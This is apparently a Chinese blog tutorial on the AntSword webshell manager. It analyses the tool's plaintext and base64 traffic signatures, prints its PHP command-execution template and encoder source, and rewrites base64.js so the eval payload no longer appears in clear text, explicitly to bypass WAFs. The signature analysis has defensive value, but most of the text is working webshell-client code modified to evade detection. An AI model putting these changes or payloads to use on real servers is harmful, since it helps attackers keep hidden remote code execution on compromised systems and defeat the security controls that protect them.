蚁剑从入门到魔改【一】

  • 一、明文通信
  • 二、密文通信
  • 三、自定义编解码
  • source/core/php/index.js
  • source/core/php/base64.js
  • 自定义加密算法
  • 四、参考文章


连接地址

蚁剑 a JavaScript err 蚁剑默认的编码器是_webshell通信

选用网卡

蚁剑 a JavaScript err 蚁剑默认的编码器是_webshell通信_02

一、明文通信

特征

=%40ini_set
set_time_limit

分析过程

以 HTTP 流的形式 打开数据包

蚁剑 a JavaScript err 蚁剑默认的编码器是_蚁剑_03

在虚拟终端执行命令

蚁剑 a JavaScript err 蚁剑默认的编码器是_蚁剑 a JavaScript err_04

蚁剑 a JavaScript err 蚁剑默认的编码器是_魔改_05

如上图:返回包首部和尾部有填充字符,分别是 117dd7689896d3f7440 。对应了请求包中的 echo 的输出内容

二、密文通信

特征

base64_decode

分析过程

在蚁剑php的选项下,请求包默认支持base64、chr、chr16、rot13四种编码方式,响应包支持base64、rot13编码,还支持在几种编码方式下随机选择。

这里我们选择 请求和响应的方式 都是base64加密

蚁剑 a JavaScript err 蚁剑默认的编码器是_蚁剑 a JavaScript err_06

注意:这里可不是单纯的 Base64加密,可以看到。加密后的数据做了混淆,有 %

蚁剑 a JavaScript err 蚁剑默认的编码器是_流量特征_07

三、自定义编解码

首先我们应该知道,在蚁剑的 source/core/php 目录下有对应的编码,我们只需要在这里进行修改即可,然后流量特征就会发生变化,可以通过简单的操作,隐藏某些特征,就可以很有效的绕过waf

source/core/php/index.js

打开source/core/php 下的 index.js 之后 会看到下面的内容。在 encoders 中写什么,对应的蚁剑的界面上就会出现什么内容

蚁剑 a JavaScript err 蚁剑默认的编码器是_webshell通信_08

同理,下面代码还有 关于分割符号设置的

接下来,看最重要的 能够通过修改 绕过 WAF 的代码

index.js 最后的 data[’_’] 就是shell代码执行的主体架构

蚁剑会将参数传递到对应的位置拼接成为完整代码

最终服务器执行的就是这里的代码

data['_'] = 
`@ini_set("display_errors", "0");
@set_time_limit(0);
${asencCode};
function asoutput(){
	$output=ob_get_contents();
	ob_end_clean();
	echo "${tag_s.substr(0,tag_s.length/2)}"."${tag_s.substr(tag_s.length/2)}";
	echo @asenc($output);
	echo "${tag_e.substr(0,tag_e.length/2)}"."${tag_e.substr(tag_e.length/2)}";}ob_start();
	try{${tmpCode};
	}catch(Exception $e){
	echo "ERROR://".$e->getMessage();
	};
	asoutput();
	die();`;

观察第2,3行,和数据包中的responseBody的第一行很相似

因此我们可以推理出,这就是默认情况下(明文通信),蚁剑数据包的流量特征

蚁剑 a JavaScript err 蚁剑默认的编码器是_蚁剑 a JavaScript err_09

上面介绍了明文通信,如果想要进行密文通信,例如 base64 加密通信,那么就要分析 source/core/php/base64.js

source/core/php/base64.js

下面是 base64.js 的文件内容

/**
 * php::base64编码器
 * ? 利用php的base64_decode进行编码处理
 */

'use strict';

module.exports = (pwd, data, ext = null) => {
  // 生成一个随机变量名
  let randomID;
  if (ext.opts.otherConf['use-random-variable'] === 1) {
    randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
  } else {
    randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
  }
  data[randomID] = Buffer
    .from(data['_'])
    .toString('base64');
  data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`;
  delete data['_'];
  return data;
}

shell 所有传递的参数都在data列表中,需要执行的代码在 data['_'] 中,data[randomID] = Buffer.from(data['_']).toString('base64'); 的表达的意思就是 将 data['_'] 中的代码读取并进行 base64 编码

data[pwd] 以参数的形式将内容传递到 服务器,将 data['_'] 的内容在服务器端 解码并执行,虽然 data['_'] 是被编码了,但是 data[pwd] 作为参数传递仍然是以明文传输

因此我们要想方设法 不发送明文内容,也就是不发送 data[pwd] 中的内容

如果上述代码不做修改,数据包中会看到以下特征(responseBody的第一行),对应 base64.js 的下面这行代码

data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`;

蚁剑 a JavaScript err 蚁剑默认的编码器是_webshell通信_10

下面对 bash64.js 文件做修改

注意只能写成 data[pwd],不能写成 data[randomID],不然的或连接的时候就会发出警告 返回数据为空

/**
 * php::base64编码器
 * ? 利用php的base64_decode进行编码处理
 */

'use strict';

module.exports = (pwd, data, ext = null) => {
  // 生成一个随机变量名
  let randomID;
  if (ext.opts.otherConf['use-random-variable'] === 1) {
    randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
  } else {
    randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
  }
  //data[randomID] = Buffer.from(data['_']).toString('base64');
  data[pwd] = Buffer.from(data['_']).toString('base64');
  delete data['_'];
  return data;
}

自定义加密算法

点击蚁剑的编码设置,可以创建编码器或解码器,以绕过更严格的 WAF 查杀。同时官方也在 github上提供了很多优秀的项目